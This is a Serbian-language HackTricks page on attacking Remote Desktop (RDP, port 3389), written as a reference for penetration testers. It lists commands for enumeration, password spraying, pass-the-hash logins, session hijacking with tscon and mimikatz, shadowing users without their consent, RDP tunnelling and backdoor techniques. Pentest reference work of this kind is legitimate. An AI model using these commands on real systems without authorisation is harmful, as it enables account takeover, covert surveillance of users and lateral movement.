3389 - Pentesting RDP
Tip
Nauči i vežbaj AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Nauči i vežbaj GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Nauči i vežbaj Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Pregledaj kompletan HackTricks Training katalog za assessment tracks (ARTA/GRTA/AzRTA) i Linux Hacking Expert (LHE).
Podrži HackTricks
- Pogledaj pretplatničke planove!
- Pridruži se 💬 Discord grupi, telegram grupi, prati @hacktricks_live na X/Twitter, ili pogledaj LinkedIn stranicu i YouTube kanal.
- Deli hacking trikove slanjem PR-ova u HackTricks i HackTricks Cloud github repozitorijume.
Basic Information
Razvijen od strane Microsofta, Protokol za udaljenu radnu površinu (RDP) je dizajniran da omogući vezu grafičkog interfejsa između računara preko mreže. Za uspostavljanje takve veze, korisnik koristi RDP klijentski softver, a istovremeno udaljeno računalo treba da pokreće RDP serverski softver. Ovaj raspored omogućava neometano upravljanje i pristup desktop okruženju udaljenog računara, praktično prenoseći njegov interfejs na korisnikov lokalni uređaj.
Default port: 3389
PORT STATE SERVICE
3389/tcp open ms-wbt-server
Enumeration
Automatsko
nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 <IP>
Proverava dostupno šifrovanje i ranjivost na DoS (bez izazivanja DoS na servis) i dobija NTLM Windows informacije (verzije).
Provere sigurnosnog sloja / NLA
RDP može pregovarati različite sigurnosne slojeve (native RDP, TLS, ili CredSSP/NLA). Možete brzo identifikovati konfiguraciju na serverskoj strani i da li je NLA zahtevan:
# Security layer and encryption info
nmap --script rdp-enum-encryption -p 3389 <IP>
# Quick auth check (also reports if NLA is required)
nxc rdp <IP> -u <user> -p <password>
# Pre-auth screenshot only works if NLA is disabled
nxc rdp <IP> --nla-screenshot
# Authenticated screenshot after valid login
nxc rdp <IP> -u <user> -p <password> --screenshot
Brute force
Budite oprezni, možete zaključati naloge
Password Spraying
Budite oprezni, možete zaključati naloge
# https://github.com/galkan/crowbar
crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123'
# hydra
hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp
Poveži se pomoću poznatih credentials/hash
rdesktop -u <username> <IP>
rdesktop -d <domain> -u <username> -p <password> <IP>
xfreerdp [/d:domain] /u:<username> /p:<password> /v:<IP>
xfreerdp [/d:domain] /u:<username> /pth:<hash> /v:<IP> #Pass the hash
Provera poznatih credentials na RDP servisima
rdp_check.py iz impacket-a omogućava vam da proverite da li su neki credentials validni za RDP servis:
rdp_check <domain>/<name>:<password>@<IP>
Napadi
Session stealing
Sa SYSTEM permissions možete pristupiti bilo kojoj opened RDP session by any user bez potrebe да znate lozinku vlasnika.
Prikaži otvorene sesije:
query user
Pristup izabranoj sesiji
tscon <ID> /dest:<SESSIONNAME>
Sada ćete biti unutar izabrane RDP sesije i preuzećete identitet korisnika koristeći samo Windows alate i funkcije.
Važno: Kada pristupite aktivnoj RDP sesiji, izbacićete korisnika koji ju je koristio.
Možete dobiti lozinke dumpovanjem procesa, ali ova metoda je mnogo brža i omogućava vam interakciju sa virtuelnim desktopima korisnika (lozinke u notepad bez da su sačuvane na disku, druge RDP sesije otvorene na drugim mašinama…)
Mimikatz
Takođe možete koristiti mimikatz za ovo:
ts::sessions #Get sessions
ts::remote /id:2 #Connect to the session
RDP Shadowing (Remote Control)
Ako je omogućeno Remote Desktop Services shadowing, možete gledati ili kontrolisati aktivnu sesiju drugog korisnika (ponekad bez pristanka) koristeći ugrađene mstsc prekidače.
# List sessions on a remote host
qwinsta /server:<IP>
quser /server:<IP>
# Shadow a specific session (consent required if policy enforces it)
mstsc /v:<IP> /shadow:<SESSION_ID> /control
# Shadow without consent if policy allows it
mstsc /v:<IP> /shadow:<SESSION_ID> /noconsentprompt /prompt
# Check current shadowing policy on the target
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v Shadow
RDP Virtual Channel Tunneling
RDP podržava virtual channels koje se mogu zloupotrebiti za pivoting/tunneling preko uspostavljene RDP sesije. Jedna opcija je rdp2tcp (client/server) koja može multipleksirati TCP forwards preko RDP (radi sa FreeRDP).
# Start FreeRDP with rdp2tcp virtual channel
xfreerdp /u:<user> /v:<IP> /rdp2tcp:/path/to/rdp2tcp/client/rdp2tcp
Sticky-keys & Utilman
Kombinovanjem ove tehnike sa stickykeys ili utilman moći ćete da pristupite administrativnom CMD-u i bilo kojoj RDP sesiji u bilo koje vreme
Možete pretražiti RDPs koji su već backdoored jednom od ovih tehnika koristeći: https://github.com/linuz/Sticky-Keys-Slayer
RDP Process Injection
Ako neko iz drugog domena ili sa better privileges login via RDP na PC na kojem ste you are an Admin, možete inject your beacon u njegov RDP session process i delovati kao on:
Dodavanje korisnika u RDP grupu
net localgroup "Remote Desktop Users" UserLoginName /add
Automatski alati
AutoRDPwn je post-exploitation framework napravljen u Powershellu, dizajniran pre svega da automatizuje Shadow napad na Microsoft Windows računare. Ova ranjivost (navedena od strane Microsoft-a kao feature) omogućava udaljenom napadaču da pogleda desktop svoje žrtve bez njenog pristanka, pa čak i da ga kontroliše na zahtev, koristeći alate koji su izvorno deo operativnog sistema.
-
Kontroliše miš i tastaturu na automatizovan način iz komandne linije
-
Kontroliše clipboard na automatizovan način iz komandne linije
-
Pokreće SOCKS proxy na klijentu koji kanalizuje mrežnu komunikaciju ka cilju preko RDP-a
-
Izvršava proizvoljne SHELL i PowerShell komande na cilju bez otpremanja fajlova
-
Otpremanje i preuzimanje fajlova ka/sa cilja čak i kada su prenosi fajlova onemogućeni na cilju
Ovaj alat omogućava izvršavanje komandi u RDP sesiji žrtve bez potrebe za grafičkim interfejsom.
HackTricks automatske komande
Protocol_Name: RDP #Protocol Abbreviation if there is one.
Port_Number: 3389 #Comma separated if there is more than one.
Protocol_Description: Remote Desktop Protocol #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for RDP
Note: |
Developed by Microsoft, the Remote Desktop Protocol (RDP) is designed to enable a graphical interface connection between computers over a network. To establish such a connection, RDP client software is utilized by the user, and concurrently, the remote computer is required to operate RDP server software. This setup allows for the seamless control and access of a distant computer's desktop environment, essentially bringing its interface to the user's local device.
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-rdp.html
Entry_2:
Name: Nmap
Description: Nmap with RDP Scripts
Command: nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 {IP}
Reference
Tip
Nauči i vežbaj AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Nauči i vežbaj GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Nauči i vežbaj Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Pregledaj kompletan HackTricks Training katalog za assessment tracks (ARTA/GRTA/AzRTA) i Linux Hacking Expert (LHE).
Podrži HackTricks
- Pogledaj pretplatničke planove!
- Pridruži se 💬 Discord grupi, telegram grupi, prati @hacktricks_live na X/Twitter, ili pogledaj LinkedIn stranicu i YouTube kanal.
- Deli hacking trikove slanjem PR-ova u HackTricks i HackTricks Cloud github repozitorijume.


